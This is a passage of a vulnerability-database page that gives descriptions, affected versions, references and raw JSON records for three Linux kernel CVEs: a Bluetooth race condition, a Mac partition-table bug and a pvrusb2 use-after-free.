Impacted products

1 product

Vendor	Product	Version
Linux	Linux kernel	Affected: v4.0-rc1 , < v6.8-rc2 (custom)

Credits

白家驹 <baijiaju@buaa.edu.cn> 韩桂栋 <hanguidong@buaa.edu.cn>

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-24858",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-06T18:47:37.158239Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:10.209Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T23:28:13.187Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=8154"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:15.333Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "modules": [
            "bluetooth"
          ],
          "packageName": "kernel",
          "platforms": [
            "Linux",
            "x86",
            "ARM"
          ],
          "product": "Linux kernel",
          "programFiles": [
            "https://gitee.com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/hci_debugfs.c"
          ],
          "repo": "https://gitee.com/anolis/cloud-kernel.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "v6.8-rc2",
              "status": "affected",
              "version": "v4.0-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "\u767d\u5bb6\u9a79 \u003cbaijiaju@buaa.edu.cn\u003e"
        },
        {
          "lang": "en",
          "type": "reporter",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "\u97e9\u6842\u680b \u003changuidong@buaa.edu.cn\u003e"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eA race condition was found in the Linux kernel\u0027s net/bluetooth in {conn,adv}_{min,max}_interval_set() function. This can result in I2cap connection or broadcast abnormality issue, possibly leading to denial of service.\u003c/p\u003e"
            }
          ],
          "value": "A race condition was found in the Linux kernel\u0027s net/bluetooth in {conn,adv}_{min,max}_interval_set() function. This can result in I2cap connection or broadcast abnormality issue, possibly leading to denial of service."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-26",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-26 Leveraging Race Conditions"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-362",
              "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-27T12:10:52.036Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=8154"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://lore.kernel.org/lkml/20231222161317.6255-1-2045gemini@gmail.com/\"\u003ehttps://lore.kernel.org/lkml/20231222161317.6255-1-2045gemini@gmail.com/\u003c/a\u003e\u003cbr\u003e"
            }
          ],
          "value": "https://lore.kernel.org/lkml/20231222161317.6255-1-2045gemini@gmail.com/ https://lore.kernel.org/lkml/20231222161317.6255-1-2045gemini@gmail.com/"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Race condition vulnerability in Linux kernel net/bluetooth in {conn,adv}_{min,max}_interval_set()",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2024-24858",
    "datePublished": "2024-02-05T07:30:55.483Z",
    "dateReserved": "2024-02-01T09:11:56.214Z",
    "dateUpdated": "2026-05-12T11:49:15.333Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21772 (GCVE-0-2025-21772)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

partitions: mac: fix handling of bogus partition table

Summary

In the Linux kernel, the following vulnerability has been resolved: partitions: mac: fix handling of bogus partition table Fix several issues in partition probing: - The bailout for a bad partoffset must use put_dev_sector(), since the preceding read_part_sector() succeeded. - If the partition table claims a silly sector size like 0xfff bytes (which results in partition table entries straddling sector boundaries), bail out instead of accessing out-of-bounds memory. - We must not assume that the partition table contains proper NUL termination - use strnlen() and strncmp() instead of strlen() and strcmp().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a3e77da9f843e4ab9…
https://git.kernel.org/stable/c/213ba5bd81b7e97ac…
https://git.kernel.org/stable/c/40a35d14f3c0dc72b…
https://git.kernel.org/stable/c/27a39d006f85e869b…
https://git.kernel.org/stable/c/92527100be38ede92…
https://git.kernel.org/stable/c/6578717ebca916781…
https://git.kernel.org/stable/c/7fa9706722882f634…
https://git.kernel.org/stable/c/80e648042e512d5a7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < a3e77da9f843e4ab93917d30c314f0283e28c124 (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 213ba5bd81b7e97ac6e6190b8f3bc6ba76123625 (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 40a35d14f3c0dc72b689061ec72fc9b193f37d1f (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 27a39d006f85e869be68c1d5d2ce05e5d6445bf5 (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 92527100be38ede924768f4277450dfe8a40e16b (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 6578717ebca91678131d2b1f4ba4258e60536e9f (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 7fa9706722882f634090bfc9af642bf9ed719e27 (git) Affected: 02e2a5bfebe99edcf9d694575a75032d53fe1b73 , < 80e648042e512d5a767da251d44132553fe04ae0 (git) Affected: 81a319c5c29913a23947f3d28513974682f3af03 (git) Affected: 34a906cd9f6445d9510841667eff0d980279ebf3 (git) Affected: 2a27f61bd411e564eb4651c18d225f6e9e1de534 (git) Affected: 69aad7e01c8e883e9d2f8dc5523bd419bd02d2aa (git) Affected: 7f4f03c4a1e9a4b9679feafe7625a780864a4e76 (git)
Linux	Linux	Affected: 4.4 Unaffected: 0 , < 4.4 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:27.124Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:51.222Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/partitions/mac.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a3e77da9f843e4ab93917d30c314f0283e28c124",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "213ba5bd81b7e97ac6e6190b8f3bc6ba76123625",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "40a35d14f3c0dc72b689061ec72fc9b193f37d1f",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "27a39d006f85e869be68c1d5d2ce05e5d6445bf5",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "92527100be38ede924768f4277450dfe8a40e16b",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "6578717ebca91678131d2b1f4ba4258e60536e9f",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "7fa9706722882f634090bfc9af642bf9ed719e27",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "lessThan": "80e648042e512d5a767da251d44132553fe04ae0",
              "status": "affected",
              "version": "02e2a5bfebe99edcf9d694575a75032d53fe1b73",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "81a319c5c29913a23947f3d28513974682f3af03",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "34a906cd9f6445d9510841667eff0d980279ebf3",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2a27f61bd411e564eb4651c18d225f6e9e1de534",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "69aad7e01c8e883e9d2f8dc5523bd419bd02d2aa",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7f4f03c4a1e9a4b9679feafe7625a780864a4e76",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/partitions/mac.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.4"
            },
            {
              "lessThan": "4.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.2.75",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.4.113",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.10.99",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.12.56",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.14.63",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npartitions: mac: fix handling of bogus partition table\n\nFix several issues in partition probing:\n\n - The bailout for a bad partoffset must use put_dev_sector(), since the\n   preceding read_part_sector() succeeded.\n - If the partition table claims a silly sector size like 0xfff bytes\n   (which results in partition table entries straddling sector boundaries),\n   bail out instead of accessing out-of-bounds memory.\n - We must not assume that the partition table contains proper NUL\n   termination - use strnlen() and strncmp() instead of strlen() and\n   strcmp()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:06:07.826Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a3e77da9f843e4ab93917d30c314f0283e28c124"
        },
        {
          "url": "https://git.kernel.org/stable/c/213ba5bd81b7e97ac6e6190b8f3bc6ba76123625"
        },
        {
          "url": "https://git.kernel.org/stable/c/40a35d14f3c0dc72b689061ec72fc9b193f37d1f"
        },
        {
          "url": "https://git.kernel.org/stable/c/27a39d006f85e869be68c1d5d2ce05e5d6445bf5"
        },
        {
          "url": "https://git.kernel.org/stable/c/92527100be38ede924768f4277450dfe8a40e16b"
        },
        {
          "url": "https://git.kernel.org/stable/c/6578717ebca91678131d2b1f4ba4258e60536e9f"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fa9706722882f634090bfc9af642bf9ed719e27"
        },
        {
          "url": "https://git.kernel.org/stable/c/80e648042e512d5a767da251d44132553fe04ae0"
        }
      ],
      "title": "partitions: mac: fix handling of bogus partition table",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21772",
    "datePublished": "2025-02-27T02:18:19.528Z",
    "dateReserved": "2024-12-29T08:45:45.762Z",
    "dateUpdated": "2026-05-12T12:03:51.222Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26875 (GCVE-0-2024-26875)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

media: pvrusb2: fix uaf in pvr2_context_set_notify

Summary

In the Linux kernel, the following vulnerability has been resolved: media: pvrusb2: fix uaf in pvr2_context_set_notify [Syzbot reported] BUG: KASAN: slab-use-after-free in pvr2_context_set_notify+0x2c4/0x310 drivers/media/usb/pvrusb2/pvrusb2-context.c:35 Read of size 4 at addr ffff888113aeb0d8 by task kworker/1:1/26 CPU: 1 PID: 26 Comm: kworker/1:1 Not tainted 6.8.0-rc1-syzkaller-00046-gf1a27f081c1f #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024 Workqueue: usb_hub_wq hub_event Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0xd9/0x1b0 lib/dump_stack.c:106 print_address_description mm/kasan/report.c:377 [inline] print_report+0xc4/0x620 mm/kasan/report.c:488 kasan_report+0xda/0x110 mm/kasan/report.c:601 pvr2_context_set_notify+0x2c4/0x310 drivers/media/usb/pvrusb2/pvrusb2-context.c:35 pvr2_context_notify drivers/media/usb/pvrusb2/pvrusb2-context.c:95 [inline] pvr2_context_disconnect+0x94/0xb0 drivers/media/usb/pvrusb2/pvrusb2-context.c:272 Freed by task 906: kasan_save_stack+0x33/0x50 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 kasan_save_free_info+0x3f/0x60 mm/kasan/generic.c:640 poison_slab_object mm/kasan/common.c:241 [inline] __kasan_slab_free+0x106/0x1b0 mm/kasan/common.c:257 kasan_slab_free include/linux/kasan.h:184 [inline] slab_free_hook mm/slub.c:2121 [inline] slab_free mm/slub.c:4299 [inline] kfree+0x105/0x340 mm/slub.c:4409 pvr2_context_check drivers/media/usb/pvrusb2/pvrusb2-context.c:137 [inline] pvr2_context_thread_func+0x69d/0x960 drivers/media/usb/pvrusb2/pvrusb2-context.c:158 [Analyze] Task A set disconnect_flag = !0, which resulted in Task B's condition being met and releasing mp, leading to this issue. [Fix] Place the disconnect_flag assignment operation after all code in pvr2_context_disconnect() to avoid this issue.

Severity ?

6.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/ed8000e1e8e9684ab…
https://git.kernel.org/stable/c/d29ed08964cec8b97…
https://git.kernel.org/stable/c/ab896d93fd6a2cd1a…
https://git.kernel.org/stable/c/eb6e9dce979c08210…
https://git.kernel.org/stable/c/3a1ec89708d2e57e2…
https://git.kernel.org/stable/c/8e60b99f6b7ccb3ba…
https://git.kernel.org/stable/c/40cd818fae875c424…
https://git.kernel.org/stable/c/eaa410e05bdf562c9…
https://git.kernel.org/stable/c/0a0b79ea55de8514e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e5be15c63804e05b5a94197524023702a259e308 , < ed8000e1e8e9684ab6c30cf2b526c0cea039929c (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < d29ed08964cec8b9729bc55c7bb23f679d7a18fb (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < ab896d93fd6a2cd1afeb034c3cc9226cb499209f (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < eb6e9dce979c08210ff7249e5e0eceb8991bfcd7 (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < 3a1ec89708d2e57e2712f46241282961b1a7a475 (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < 8e60b99f6b7ccb3badeb512f5eb613ad45904592 (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < 40cd818fae875c424a8335009db33c7b5a07de3a (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < eaa410e05bdf562c90b23cdf2d9327f9c4625e16 (git) Affected: e5be15c63804e05b5a94197524023702a259e308 , < 0a0b79ea55de8514e1750884e5fec77f9fdd01ee (git)
Linux	Linux	Affected: 2.6.26 Unaffected: 0 , < 2.6.26 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.434Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ed8000e1e8e9684ab6c30cf2b526c0cea039929c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d29ed08964cec8b9729bc55c7bb23f679d7a18fb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ab896d93fd6a2cd1afeb034c3cc9226cb499209f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eb6e9dce979c08210ff7249e5e0eceb8991bfcd7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3a1ec89708d2e57e2712f46241282961b1a7a475"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8e60b99f6b7ccb3badeb512f5eb613ad45904592"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40cd818fae875c424a8335009db33c7b5a07de3a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eaa410e05bdf562c90b23cdf2d9327f9c4625e16"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0a0b79ea55de8514e1750884e5fec77f9fdd01ee"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "ed8000e1e8e9",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "d29ed08964ce",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "ab896d93fd6a",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "eb6e9dce979c",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "3a1ec89708d2",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "8e60b99f6b7c",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "40cd818fae87",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "eaa410e05bdf",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "lessThan": "0a0b79ea55de",
                "status": "affected",
                "version": "e5be15c63804",
                "versionType": "custom"
              },
              {
                "status": "affected",
                "version": "2.6.26"
              },
              {
                "lessThan": "2.6.26",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "4.20",
                "status": "unaffected",
                "version": "4.19.311",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "5.4.273",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.214",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.153",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.183",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.23",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.8",
                "status": "unaffected",
                "version": "6.7.11",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "6.9",
                "status": "unaffected",
                "version": "6.8.2",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "*",
                "status": "unaffected",
                "version": "6.9",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 6.4,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26875",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-08T18:16:38.134267Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-11T21:47:07.560Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:48.879Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
